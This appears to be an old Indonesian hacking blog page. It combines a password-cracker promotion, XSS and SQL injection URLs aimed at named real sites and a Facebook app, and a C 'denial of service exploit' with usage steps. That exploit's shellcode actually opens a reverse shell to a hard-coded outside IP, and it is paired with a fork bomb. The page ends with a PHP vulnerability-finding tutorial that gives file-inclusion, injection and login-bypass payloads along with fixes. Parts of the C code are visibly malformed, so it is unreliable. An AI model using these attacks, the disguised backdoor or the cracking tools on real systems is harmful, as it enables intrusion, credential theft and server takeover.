– SHA-256
– SHA-384
– SHA-512
– SHA-256(PasswordSafe)
– Haval-128
– Haval-160
– Haval-192
– Haval-224
– Haval-256
– Tiger-128
– Tiger-160
– Tiger-192
– Whirlpool
– RAdmin v2.x
– Domain Cached Credentials
– md5($pass.$salt)
– md5($salt.$pass)
– md5(md5($pass))
– md5(md5(md5($pass)))
– md5(md5($pass).$salt)
– md5(md5($salt).$pass)
– md5($salt.md5($pass))
– md5($salt.$pass.$salt)
– md5(md5($salt).md5($pass))
– md5(md5($pass).md5($salt))
– md5($salt.md5($salt.$pass))
– md5($salt.md5($pass.$salt))
– md5($salt.md5($pass).$salt)
– md5(sha1(md5(sha1($pass))))
– md5($hex_salt.$pass.$hex_salt)
– md5($username.md5($pass).$salt)
– md5(md5($username.$pass).$salt)
– sha1($salt.$pass)
– sha1($username.$pass)
– sha1($username.$pass.$salt)
– sha1($salt.sha1($salt.sha1($pass)))

Hash Joomla 1.0.13 keatas pake md5($pass.$salt)

Fitur programnya :

– Passwords recovery using the following methods:
• Preliminary attack
• Brute force attack (including distributed attack)
• Mask attack
• Simple dictionary attack
• Combined dictionary attack
• Hybrid dictionary attack
• Rainbow attack
– Recovery of passwords of up to 127-character length
– Recovery of passwords for incomplete hashes of any type
– User hash editor
– Searching data on the list of imported users
– Quick-add hash using a dialog box
– Quick-add hashes from Clipboard
– Quick-check current password for all imported users
– Support of character replacement tables for hybrid dictionary attack
– Unlimited number of dictionaries available for dictionary attack
– Unlimited number of tables available for Rainbow attack
– Unlimited number of servable users with hashes (in the licensed version)


Wordlist yang bagus buat dictionary attack :

http://hashkiller.com/files/downloads/wordlists/

Rainbow Table bisa didownload di sini :

http://www.insidepro.com/tables.php



Download di : http://www.insidepro.com/download/passwordspro.zip

Read More..

XSS

Cross Site Scripting Vulnerability
Introduction to XSS


founder
Code:

Metropolis 20 December 2009

dork
Code:

JBC explorer [ by Psykokwak & XaV ]

source
http://www.exploit-db.com

exploit
Code:

/dirsys/arbre.php?0=search&last=1[Xss]

Code:

/dirsys/arbre.php?0=search&last=1

Code:

album/dirsys/arbre.php?0=search&last=1

example victim
Code:

http://albums.nordheim-alsace.fr/dirsys/arbre.php?0=search&last=1%3Cbody+onload=alert(document.cookie)%3E

Code:

http://khoen.net/dirsys/arbre.php?0=search&last=1%3Cbody+onload=alert(document.cookie)%3E

Code:

http://www.hetprijspaleis.com/album/dirsys/arbre.php?0=search&last=1%3Cbody+onload=alert(document.cookie)%3E

semoga bermanfaat
Read More..

Facebook Apps Hacked

ahi ahi
nih klik aja
http://apps.facebook.com/ufundraise/fundraise.php?cid=-304+and+1=2+union+select+0,1,2,3,4,5,6,0x3c62723e3c62723e3c666f6e7420636f6c6f723d22726564222073697a653d223332223e6861636b656420627920446576696c5f4e6f6e676b726f6e673c2f666f6e743e,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+from+information_schema.columns+where+table_name=0x5573657273--

SQLinjection Read More..

Cara Kill 1 Server dengan Exploit

Thanks to bro MyWisdom

Bagi yg mao kill web 1 server bisa pake ini ja exploit buat dos bikinan ane si pemalas, syarat: server web kudu socket enabled (ga perlu bisa raw gapapa), kudu musti boleh ngefork

Local Kernel 2.6.x Denial Of Service Exploit with socket function and fork enabled
programmer : mywisdom (murder of odybx and cyber tank)
Download url: http://yoyoparty.com/upload/angela.tgz
Tested on:
- kernel 2.6.28
- kernel 2.6.21
- kernel 2.6.24
greetz:all jasakom crew, all devilzc0de crew, all ycl crew
special thanks:special thanks: gunslinger,peneter, peti mati,wendy182, v3n0m,flyv666,7460,cyber mutaqqin,comrade, and so on.
Cara pakai:

gcc -o angela angela.c
./angela &


(jika ingin dilakukan berulang ulang)
atau bisa juga begini:

gcc -o angela angela.c
./angela


source filenamedybxkill.c

//Local Kernel 2.6.x Denial of Service Exploit with socket enabled
//C0d3r: mywisdom ( murder of odybx and cyber tank )
//thanks: all jasakom crew, all devilzc0de crew, all ycl crew
//special thanks: gunslinger,peneter, peti mati, v3n0m,flyv666,7460,cyber mutaqqin and so on.
#include
#include
void peneter()
{
printf("\nOdybx Was Killed version 1.0 local kernel 2.6 dos sploit");
printf("\nFree provided by mywisdom creator of kiss of death technic\n");
printf("\nTrying to kill this server in minutes..please wait \n");
}
void xxx()
{
char esc = 27;
printf("%c%s",esc,"[2J");
printf("%c%s",esc,"[1;1H");

}

void v3n0m()
{
char socketz[] ="\x6a\x66\x58\x6a\x01\x5b\x31\xc9\x51\"
"\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x68\"
"\x7c\x52\x9a\x79\x66\x68\x1a\x0b\"
"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\"
"\x89\xe1\x89\xc6\x6a\x03\x5b\x6a\x66\x58"
"\xcd\x80\"
"\xbb\xb8\x01\xcd\x80";
(*(void (*)()) socketz)();

}

void gunslinger()
{
__asm__ ("push $0x66 \n\t"
"pop %eax\n\t"
"push $0x1\n\t"
"pop %ebx\n\t"
"xor %ecx,%ecx\n\t"
"push %ecx\n\t"
"push $0x1\n\t"
"push $0x2\n\t"
"mov %esp,%ecx\n\t"
"int $0x80\n\t"
"push $0x799a527c\n\t"
"pushw $0x0b1a\n\t"
"pushw $0x2\n\t"
"mov %esp,%ecx\n\t"
"push $0x10\n\t"
"push %ecx\n\t"
"push %eax\n\t"
"mov %esp,%ecx\n\t"
"mov %eax,%esi\n\t"
"push $0x3\n\t"
"pop %ebx\n\t"
"push $0x66\n\t"
"pop %eax\n\t"
"int $0x80 \n\t"
"xchg %esi,%ebx\n\t"
"push $0x2\n\t"
"pop %ecx\n\t"
"dup_loop:\n\t"
"mov $0x3f,%al\n\t"
"int $0x80\n\t"
"dec %ecx\n\t"
"jns dup_loop\n\t"
"mov $0xb,%al\n\t"
"xor %edx,%edx\n\t"
"push %edx\n\t"
"push $0x68732f2f\n\t"
"push $0x6e69622f\n\t"
"mov %esp,%ebx\n\t"
"push %edx\n\t"
"push %ebx\n\t"
"mov %esp, %ecx\n\t"
"int $0x80\n\t"
);

}

int main()
{
xxx();
int hack;
int iseng;
for (hack=1;;)
{
while (iseng<2)
{
peneter();
v3n0m();
gunslinger();
}
}

return 0;

}


filename: angela.c

//Local Kernel 2.6.x with socket enabled Denial of Service Exploit
//C0d3r: mywisdom ( murder of odybx and cyber tank)
//testing main loop
// what the fuck of race condition
#include
int main()
{
int hack;
system("gcc -o odybxkill odybxkill.c");
for(hack=1;;)
{
system("./odybxkill &");
fork();
}

}


Read More..

Minggu, 03 Januari 2010

Finding vulnerabilities in PHP scripts

Name : Finding vulnerabilities in PHP scripts
Author : neoexec
Email : neoexec@gmail.com
Contents :

1) About
2) Some stuff
3) Remote File Inclusion
3.0 - Basic example
3.1 - Simple example
3.2 - How to fix
4) Local File Inclusion
4.0 - Basic example
4.1 - Simple example
4.2 - How to fix
5) Local File Disclosure/Download
5.0 - Basic example
5.1 - Simple example
5.2 - How to fix
6) SQL Injection
6.0 - Basic example
6.1 - Simple example
6.2 - SQL Login Bypass
6.3 - How to fix
7) Insecure Cookie Handling
7.0 - Basic example
7.1 - Simple example
7.2 - How to fix
8) Remote Command Execution
8.0 - Basic example
8.1 - Simple example
8.2 - Advanced example
8.3 - How to fix
9) Remote Code Execution
9.0 - Basic example
9.1 - Simple example
9.2 - How to fix
10) Cross-Site Scripting
10.0 - Basic example
10.1 - Another example
10.2 - Simple example
10.3 - How to fix
11) Authentication Bypass
11.0 - Basic example
11.1 - Via login variable
11.2 - Unprotected Admin CP
11.3 - How to fix
12) Insecure Permissions
12.0 - Basic example
12.1 - Read the users/passwords
12.2 - Download backups
12.3 - INC files
12.4 - How to fix
13) Cross Site Request Forgery
13.0 - Basic example
13.1 - Simple example
13.2 - How to fix
14) Shoutz


1) In this tutorial I will show you how you can find vulnerabilities in php scripts.I will not explain
how to exploit the vulnerabilities,it is pretty easy and you can find info around the web.All the
examples without the basic example of each category was founded in different scripts.


2) First,install Apache,PHP and MySQL on your computer.Addionally you can install phpMyAdmin.
You can install WAMP server for example,it has all in one..Most vulnerabilities need special conditions
to work.So you will need to set up properly the PHP configuration file (php.ini) .I will show you what
configuration I use and why :

safe_mode = off ( a lot of shit cannot be done with this on )
disabled_functions = N/A ( no one,we want all )
register_globals = on ( we can set variables by request )
allow_url_include = on ( for lfi/rfi )
allow_url_fopen = on ( for lfi/rfi )
magic_quotes_gpc = off ( this will escape ' " and NUL's with a backslash and we don't want that )
short_tag_open = on ( some scripts are using short tags,better on )
file_uploads = on ( we want to upload )
display_errors = on ( we want to see the script errors,maybe some undeclared variables? )

How to proceed : First,create a database to be used by different scripts.Install the script on
localhost and start the audit over the source code.If you found something open the web browser and
test it,maybe you are wrong.


3) Remote File Inclusion


- Tips : You can use the NULLBYTE and ? trick.
You can use HTTPS and FTP to bypass filters ( http filtered )


In PHP is 4 functions through you can include code.

require - require() is identical to include() except upon failure it will produce a fatal E_ERROR level error.
require_once - is identical to require() except PHP will check if the file has already been included, and if so, not include (require) it again.
include - includes and evaluates the specified file.
include_once - includes and evaluates the specified file during the execution of the script.


3.0 - Basic example


- Tips : some scripts don't accept "http" in variables,"http" word is forbbiden so
you can use "https" or "ftp".

- Code snippet from test.php

-----------------------------------------------
$pagina=$_GET['pagina'];
include $pagina;
?>
-----------------------------------------------

- If we access the page we got some errors and some warnings( not pasted ) :

Notice: Undefined index: pagina in C:wampwww est.php on line 2

- We can see here that "pagina" variable is undeclared.We can set any value to "pagina" variable.Example :

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt

Now I will show why some people use ? and after the link to the evil script.

# The ""

- Code snippet from test.php

-----------------------------------------------
$pagina=$_GET['pagina'];
include $pagina.'.php';
?>
-----------------------------------------------

- So if we will request

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt

Will not work because the script will try to include http://evilsite.com/evilscript.txt.php

So we will add a NULLBYTE ( ) and all the shit after nullbyte will not be taken in
consideration.Example :

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt

The script will successfully include our evilscript and will throw to junk the things
after the nullbyte.

# The "?"

- Code snippet from test.php

-----------------------------------------------
$pagina=$_GET['pagina'];
include $pagina.'logged=1';
?>
-----------------------------------------------

And the logged=1 will become like a variable.But better use nullbyte.Example :

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1

The evilscript will be included succesfully.


3.1 - Simple example


Now an example from a script.

- Code snippet from index.php

----------------------------------------------------
if (isset($_REQUEST["main_content"])){
$main_content = $_REQUEST["main_content"];
} else if (isset($_SESSION["main_content"])){
$main_content = $_SESSION["main_content"];
}
.......................etc..................
ob_start();
require_once($main_content);
----------------------------------------------------

We can see that "main_content" variable is requested by $_REQUEST method.The attacker can
set any value that he want. Below the "main_content" variable is include.So if we make the
following request :

http://127.0.0.1/index.php?main_content=http://evilsite.com/evilscript.txt

Our evil script will be successfully included.


3.2 - How to fix


Simple way : Don't allow special chars in variables.Simple way : filter the slash "/" .
Another way : filter "http" , "https" , "ftp" and "smb".


4) Local File Inclusion


- Tips : You can use the NULLBYTE and ? trick.
../ mean a directory up
On Windows systems we can use ".." instead of "../" .The ".." will become "..%5C" ( urlencoded ).

The same functions which let you to include (include,include_once,require,require_once) .


4.0 - Basic example


- Code snippet from test.php

-----------------------------------
$pagina=$_GET['pagina'];
include '/pages/'.$pagina;
?>
-----------------------------------

Now,we can not include our script because we can not include remote files.We can include only
local files as you see.So if we make the following request :

http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd

The script will include "/pages/../../../../../../etc/passwd" successfully.

You can use the and ? .The same story.


4.1 - Simple example


- Code snippet from install/install.php

-------------------------------------
if(empty($_GET["url"]))
$url = 'step_welcome.php';
else
$url = $_GET["url"];
.............etc.............


-------------------------------------

We can see that "url" variable is injectable.If the "url" variable is not set
(is empty) the script will include "step_welcome.php" else will include the
variable set by the attacker.

So if we do the following request :

http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd

The "etc/passwd" file will be succesfully included.


4.2 - How to fix


Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
Another way : Filter "/" , "" and "." .


5) Local File Disclosure/Download


- Tips : Through this vulnerability you can read the content of files,not include.

Some functions which let you to read files :

file_get_contents — Reads entire file into a string
readfile — Outputs a file
file — Reads entire file into an array
fopen — Opens file or URL
highlight_file — Syntax highlighting of a file.Prints out or returns a syntax
highlighted version of the code contained in filename using the
colors defined in the built-in syntax highlighter for PHP.
show_source — Alias of highlight_file()


5.0 - Basic example


- Code snippet from test.php

--------------------------------------
$pagina=$_GET['pagina'];
readfile($pagina);
?>
--------------------------------------

The readfile() function will read the content of the specified file.So if we do the following request :

http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd

The content of etc/passwd will be outputed NOT included.


5.1 - Simple example


- Code snippet from download.php

-----------------------------------------------------------------------------------
$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($file));

//header( "Content-Description: File Transfer");
@readfile($file);
die();
-----------------------------------------------------------------------------------

The "file" variable is unsecure.We see in first line that it is requested by $_REQUEST method.
And the file is disclosed by readfile() function.So we can see the content of an arbitrary file.
If we make the following request :

http://127.0.0.1/download.php?file=../../../../../../etc/passwd

So we can succesfully read the "etc/passwd" file.


5.2 - How to fix


Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
Another way : Filter "/" , "" and "." .


6) SQL Injection


- Tips : If the user have file privileges you can read files.
If the user have file privileges and you find a writable directory and magic_quotes_gpc = off
you can upload you code into a file.


6.0 - Basic example


- Code snippet from test.php

----------------------------------------------------------------------------------
$id = $_GET['id'];
$result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
?>
----------------------------------------------------------------------------------

The "id" variable is not filtered.We can inject our SQL code in "id" variable.Example :

http://127.0.0.1/test.php?id=1+union+all+select+1,null,load_file('etc/passwd'),4--

And we get the "etc/passwd" file if magic_quotes = off ( escaping ' ) and users have
file privileges.


6.1 - Simple example


- Code snippet from house/listing_view.php

-----------------------------------------------------------------------------------------------------------------------------
$id = $_GET['itemnr'];
require_once($home."mysqlinfo.php");
$query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id";
$result = mysql_query($query);
if(mysql_num_rows($result)){
$r = mysql_fetch_array($result);
-----------------------------------------------------------------------------------------------------------------------------

We see that "id" variable value is the value set for "itemnr" and is not filtered in any way.
So we can inject our code.Lets make a request :

http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--

And we get the email and the password from the users table.


6.2 - SQL Injection Login Bypass


- Code snippet from /admin/login.php

------------------------------------------------------------------------------------------------------------------------------
$postbruger = $_POST['username'];
$postpass = md5($_POST['password']);
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'")
or die("

" . mysql_error() . "

");
------------------------------------------------------------------------------------------------------------------------------

The variables isn't properly checked.We can bypass this login.Lets inject the following username and password :

username : admin ' or ' 1=1
password : sirgod

We logged in.Why?Look,the code will become

---------------------------------------------------------------------------------------------------------------------------------
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1 AND password = 'sirgod'")
---------------------------------------------------------------------------------------------------------------------------------

Login bypassed.The username must be an existent username.


6.3 - How to fix


Simple way : Don't allow special chars in variables.For numeric variables
use (int) ,example $id=(int)$_GET['id'];
Another way : For non-numeric variables : filter all special chars used in
SQLI : - , . ( ) ' " _ + / *


7) Insecure Cooke Handling


- Tips : Write the code in the URLbar,don't use a cookie editor for this.


7.0 - Basic example


- Code snippet from test.php

---------------------------------------------------------------
if($_POST['password'] == $thepass) {
setcookie("is_user_logged","1");
} else { die("Login failed!"); }
............ etc .................
if($_COOKIE['is_user_logged']=="1")
{ include "admin.php"; else { die('not logged'); }
---------------------------------------------------------------

Something interesting here.If we set to the "is_user_logged" variable
from cookie value "1" we are logged in.Example :

javascript:document.cookie = "is_user_logged=1; path=/";

So practically we are logged in,we pass the check and we can access the admin panel.


7.1 - Simple example


- Code snippet from admin.php

----------------------------------------------------------------
if ($_COOKIE[PHPMYBCAdmin] == '') {
if (!$_POST[login] == 'login') {
die("Please Login:
name=password> type=submit>");
} elseif($_POST[password] == $bcadminpass) {
setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);
header("Location: admin.php"); } else { die("Incorrect"); }
}
----------------------------------------------------------------

Code looks exploitable.We can set a cookie value that let us to bypass the login
and tell to the script that we are already logged in.Example :

javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";document.cookie = "1246371700; path=/";

What is 1246371700? Is the current time() echo'ed + 360.


7.2 - How to fix


Simple way : The most simple and eficient way : use SESSIONS .


8) Remote Command Execution


- Tips : If in script is used exec() you can't see the command output(but the command is executed)
until the result isn't echo'ed from script.
You can use AND operator ( || ) if the script execute more than one command .

In PHP are some functions that let you to execute commands :

exec — Execute an external program
passthru — Execute an external program and display raw output
shell_exec — Execute command via shell and return the complete output as a string
system — Execute an external program and display the output


8.0 - Basic example

- Code snippet from test.php

---------------------------------
$cmd=$_GET['cmd'];
system($cmd);
?>
---------------------------------

So if we make the following request :

http://127.0.0.1/test.php?cmd=whoami

The command will be executed and the result will be outputed.


8.1 - Simple example


- Code snippet from dig.php

-------------------------------------------------------------------------------------------
$status = $_GET['status'];
$ns = $_GET['ns'];
$host = $_GET['host'];
$query_type = $_GET['query_type']; // ANY, MX, A , etc.
$ip = $_SERVER['REMOTE_ADDR'];
$self = $_SERVER['PHP_SELF'];
........................ etc ........................
$host = trim($host);
$host = strtolower($host);
echo("Executing : dig @$ns $host $query_type
");
echo '
';
system ("dig @$ns $host $query_type");
-------------------------------------------------------------------------------------------

The "ns" variable is unfiltered and can be specified by the attacker.An attacker can use any command
that he want through this variable.

Lets make a request :

http://127.0.0.1/dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging

The injection will fail.Why?The executed command will be : dig whoami sirgod.com NS and
will not work of course.Lets do something a little bit tricky.We have the AND operator
( || ) and we will use it to separe the commands.Example :

http://127.0.0.1/dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging

Our command will be executed.The command become "dig ||whoami|| sirgod.net NS".


8.2 - Advanced example


- Code snippet from add_reg.php

-------------------------------------------------------
$user = $_POST['user'];
$pass1 = $_POST['pass1'];
$pass2 = $_POST['pass2'];
$email1 = $_POST['email1'];
$email2 = $_POST['email2'];
$location = $_POST['location'];
$url = $_POST['url'];
$filename = "./sites/".$user.".php";
...................etc......................
$html = " $regdate = "$date";
$user = "$user";
$pass = "$pass1";
$email = "$email1";
$location = "$location";
$url = "$url";
?>";
$fp = fopen($filename, 'a+');
fputs($fp, $html) or die("Could not open file!");
-------------------------------------------------------

We can see that the script creates a php file in "sites" directory( ourusername.php ).
The script save all the user data in that file so we can inject our evil code into one
field,I choose the "location" variable.

So if we register as an user with the location (set the "location" value) :



the code inside sites/ourusername.php will become :

-------------------------------------------------
$regdate = "13 June 2009, 4:16 PM";
$user = "pwned";
$pass = "pwned";
$email = "pwned@yahoo.com";
$location = "";
$url = "http://google.ro";
?>
-------------------------------------------------

So we will get an parse error.Not good.We must inject a proper code to get the result that we want.

Lets inject this code :

";?> $user = "pwned";
$pass = "pwned";
$email = "pwned@yahoo.com";
$location = "";?> $url = "http://google.ro";
?>
--------------------------------------------------------------

and we will have no error.Why?See the code :

$location = "";?>
Lets split it :

-------------------------------
$location = "";
?>

-------------------------------

We set the location value to "",close the first php tags,open the tags
again,wrote our evil code,close the tags and open other and add a variable
"xxx" because we dont want any error.I wrote that code because I want no
error,can be modified to be small but will give some errors(will not
stop us to execute commands but looks ugly).

So if we make the following request :

http://127.0.0.1/sites/ourusername.php?cmd=whoami

And our command will be succesfully executed.


8.3 - How to fix


Simple way : Don't allow user input .
Another way : Use escapeshellarg() and escapeshellcmd() functions .
Example : $cmd=escapeshellarg($_GET'cmd']);


9) Remote Code Execution


- Tips : You must inject valid PHP code including terminating statements ( ; ) .


9.0 - Basic example


- Code snippet from test.php

-----------------------------------
$code=$_GET['code'];
eval($code);
?>
-----------------------------------

The "eval" function evaluate a string as PHP code.So in this case we are able to execute
our PHP code.Examples :

http://127.0.0.1/test.php?code=phpinfo();
http://127.0.0.1/test.php?code=system(whoami);

And we will see the output of the PHP code injected by us.


9.1 - Simple example


- Code snippet from system/services/init.php

------------------------------------------------
$conf = array_merge($conf,$confweb);
}
@eval(stripslashes($_REQUEST['anticode']));
if ( $_SERVER['HTTP_CLIENT_IP'] )
------------------------------------------------

We see that the "anticode" is requested by $_REQUEST method and the coder
"secured" the input with "stripslashes" which is useless here,we don't need
slashes to execute our php code only if we want to include a URL.So we can
inject our PHP code.Example :

http://127.0.0.1/test.php?anticode=phpinfo();

Great,injection done,phpinfo() result printed.No include because slashes are
removed,but we can use system() or another function to execute commands.


9.2 - How to fix


Simple way : Don't allow ";" and the PHP code will be invalid.
Another way : Don't allow any special char like "(" or ")" etc.


10) Cross-Site Scripting


- Tips : You can use alot of vectors,can try alot of bypass methods,you cand
find them around the web.


10.0 - Basic example


- Code snippet from test.php

---------------------------------
$name=$_GET['name'];
print $name;
?>
---------------------------------

The input is not filtered,an attacker can inject JavaScript code.Example :

http://127.0.0.1/test.php?name=

A popup with XSS message will be displayed.JavaScript code succesfully executed.


10.1 - Another example


- Code snippet from test.php

-------------------------------------------
$name=addslashes($_GET['name']);
print '
';
?>
-------------------------------------------

Not an advanced example,only a bit complicated.

http://127.0.0.1/test.php?name=">

Why this vector?We put " because we must close the " from the "name" atribut
of the "table" tag and > to close the "table" tag.Why String.fromCharCode?Because
we want to bypass addslashes() function.Injection done.


10.2 - Simple example


- Code snippet from modules.php

---------------------------------------------------------------------------
if (isset($name)) {
.................... etc................
} else {
die("Le fichier modules/".$name."/".$mod_file.".php est inexistant");
---------------------------------------------------------------------------

The "name" variable is injectable,input is not filtered,so we can inject
with ease JavaScript code.Example :

http://127.0.0.1/test.php?name=


10.3 - How to fix


Simple way : Use htmlentities() or htmlspecialchars() functions.
Example : $name=htmlentities($_GET['name']);
Another way : Filter all special chars used for XSS ( a lot ).
The best way is the first method.


11) Authentication Bypass


- Tips : Look deep in the scripts,look in the admin directories,
maybe are not protected,also look for undefined variables
like "login" or "auth".


11.0 - Basic example


I will provide a simple example of authentication bypass
via login variable.

- Code snippet from test.php

---------------------------------
if ($logged==true) {
echo 'Logged in.'; }
else {
print 'Not logged in.';
}
?>
---------------------------------

Here we need register_gloabals = on . I will talk about php.ini
settings a bit later in this tutorial.If we set the value of $logged
variable to 1 the if condition will be true and we are logged in.
Example :

http://127.0.0.1/test/php?logged=1

And we are logged in.


11.1 - Via login variable


- Code snippet from login.php

------------------------------------------------------------------------------------
if ($login_ok)
{
$_SESSION['loggato'] = true;
echo "

$txt_pass_ok

";
echo"";
}
------------------------------------------------------------------------------------

Lets see.If the "login_ok" variable is TRUE ( 1 ) the script set us a SESSION who
tell to the script that we are logged in.So lets set the "login_ok" variable to TRUE.
Example :

http://127.0.0.1/login.php?login_ok=1

Now we are logged in.


11.2 - Unprotected Admin CP


You couln't belive this but some PHP scrips don't protect the admin
control panel : no login,no .htaccess,nothing.So we simply we go to
the admin panel directory and we take the control of the website.
Example :

http://127.0.0.1/admin/files.php

We accessed the admin panel with a simple request.


11.3 - How to fix


- Login variable bypass : Use a REAL authentication system,don't check the
login like that,use SESSION verification.Example :

if($_SESSION['logged']==1) {
echo 'Logged in'; }
else { echo 'Not logged in';
}

- Unprotected Admin CP : Use an authentication system or use .htaccess to
allow access from specific IP's or .htpasswd to
request an username and a password for admin CP.
Example :

.htaccess :

order deny, allow
deny from all
allow from 127.0.0.1

.htpasswd :

AuthUserFile /the/path/.htpasswd
AuthType Basic
AuthName "Admin CP"
Require valid-user

and /the/path/.htpasswd

sirgod:$apr1$wSt1u...$6yvagxWk.Ai2bD6s6O9iQ.


12) Insecure Permissions


Tips : Look deep into the files,look if the script request to be
logged in to do something,maybe the script don't request.
Watch out for insecure permissions,maybe you can do admin
things without login.


12.0 - Basic example


We are thinking at a script who let the admin to have a lookup in
the users database through a file placed in /admin directory.That
file is named...hmmm : db_lookup.php.

- Code snippet from admin/db_lookup.php

--------------------------------------------
// Lookup in the database
readfile('protected/usersdb.txt');
?>
--------------------------------------------

Lets think.We cannot access the "protected" directory because
is .htaccess'ed.But look at this file,no logged-in check,nothing.
So if we acces :

http://127.0.0.1/admin/db_lookup.php

We can see the database.Remember,this is only an example created by
me,not a real one,you can find this kind of vulnerabilities in scripts.


12.1 - Read the users/passwords


Oh yeah,some coders are so stupid.They save the usernames and passwords
in text files,UNPROTECTED.A simple example from a script :

http://127.0.0.1/userpwd.txt

And we read the file,the usernames and passwords are there.


12.2 - Download Backups


Some scripts have database backup functions,some are safe,some are not safe.
I will show you a real script example :

- Code snippet from /adminpanel/phpmydump.php

--------------------------------------------------------------------------------
function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) {
$con=@mysql_connect("localhost",$uid, $pwd) or die("Could not connect");
$db=@mysql_select_db($dbname,$con) or die("Could not select db");
.............................. etc ..........................
mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);
--------------------------------------------------------------------------------

After a lof of code the function is called.I don't pasted the entire code
because is huge.I analyzed the script,no login required,no check,nothing.So
if we access the file directly the download of the backup will start.Example :

http://127.0.0.1/adminpanel/phpmydump.php

Now we have the database backup saved in our computer.


12.3 - INC files


Some scripts saves important data in INC files.Usually in INC files is PHP
code containing database configuration.The INC files can be viewed in
browser even they contain PHP code.So a simple request will be enough to
access and read the file.Example :

http://127.0.0.1/inc/mysql.inc

Now we have the database connection details.Look deep in scripts,is more
scripts who saves important data into INC files.


12.4 - How to fix


- Basic example : Check if the admin is logged in,if not,redirect.

- Read the users/passwords : Save the records in a MySQL database
or in a protected file/directory.

- Download Backups : Check if the admin is logged in,if not,redirect.

- INC files : Save the configuration in proper files,like .php or
protect the directory with an .htaccess file.


13) Cross Site Request Forgery


- Tips : Through CSRF you can change the admin password,is not
so inofensive.
Can be used with XSS,redirected from XSS.


13.0 - Basic example


- Code snippet from test.php

-----------------------------------------
check_auth();
if(isset($_GET['news']))
{ unlink('files/news'.$news.'.txt'); }
else {
die('File not deleted'); }
?>
-----------------------------------------

In this example you will see what is CSRF and how it works.In the "files"
directory are saved the news written by the author.The news are saved like
"news1.txt","news2.txt" etc. So the admin can delete the news.The news that
he want to delete will be specified in "news" variable.If he want to delete
the news1.txt the value of "news" will be "1".We cannot execute this without
admin permissions,look,the script check if we are logged in.
I will show you an example.If we request :

http://127.0.0.1/test.php?news=1

The /news/news1.txt file will be deleted.The script directly delete the file
without any notice.So we can use this to delete a file.All we need is to trick
the admin to click our evil link and the file specified by us in the "news"
variable will be deleted.


13.1 - Simple example


In a way the codes below are included in the index.php file ,I
will not paste all the includes,there are a lot.

- Code snippet from includes/pages/admin.php

--------------------------------------------------------------------
if ($_GET['act'] == '') {
include "includes/pages/admin/home.php";
} else {
include "includes/pages/admin/" . $_GET['act'] . ".php";
--------------------------------------------------------------------

Here we can see how the "includes/pages/admin/members.php" is included in
this file.If "act=members" the file below will be included.


- Code snippet from includes/pages/admin/members.php

----------------------------------------------------------------------------------------------
if ($_GET['func'] == 'delete') {
$del_id = $_GET['id'];
$query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";
$result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");
while ($results2121 = mysql_fetch_array($result2121)) {
$their_role = $results2121['ROLE'];
}
if ($their_role != '1') {
mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'") or die(mysql_error
());
----------------------------------------------------------------------------------------------

We can see here that if "func=delete" will be called by URL,the script will
delete from the database a user with the specified ID ( $id ) without any
confirmation.Example :

http://127.0.0.1/index.php?page=admin&act=members&func=delete&id=4

The script check if the admin is logged in so if we trick the admin to click
our evil link the user who have the specified ID in the database will be deleted
without any confirmation.


13.2 - How to fix


- Simple way : Use tokens.At each login,generate a random token and save it
in the session.Request the token in URL to do administrative
actions,if the token missing or is wrong,don't execute the
action.I will show you only how to to check if the token
is present and is correct.Example :

-------------------------------------------------------
check_auth();
if(isset($_GET['news']) && $token=$_SESSION['token'])
{ unlink('files/news'.$news.'.txt'); }
else {
die('Error.'); }
?>
-------------------------------------------------------

The request will look like this one :

http://127.0.0.1/index.php?delete=1&token=[RANDOM_TOKEN]

So this request will be fine,the news will be deleted.


- Another way : Do some complicated confirmations or request a password
to do administrative actions.


If you have some suggestions or
questions just email me.

# neoexec@gmail.com [2009-19-09]
Read More..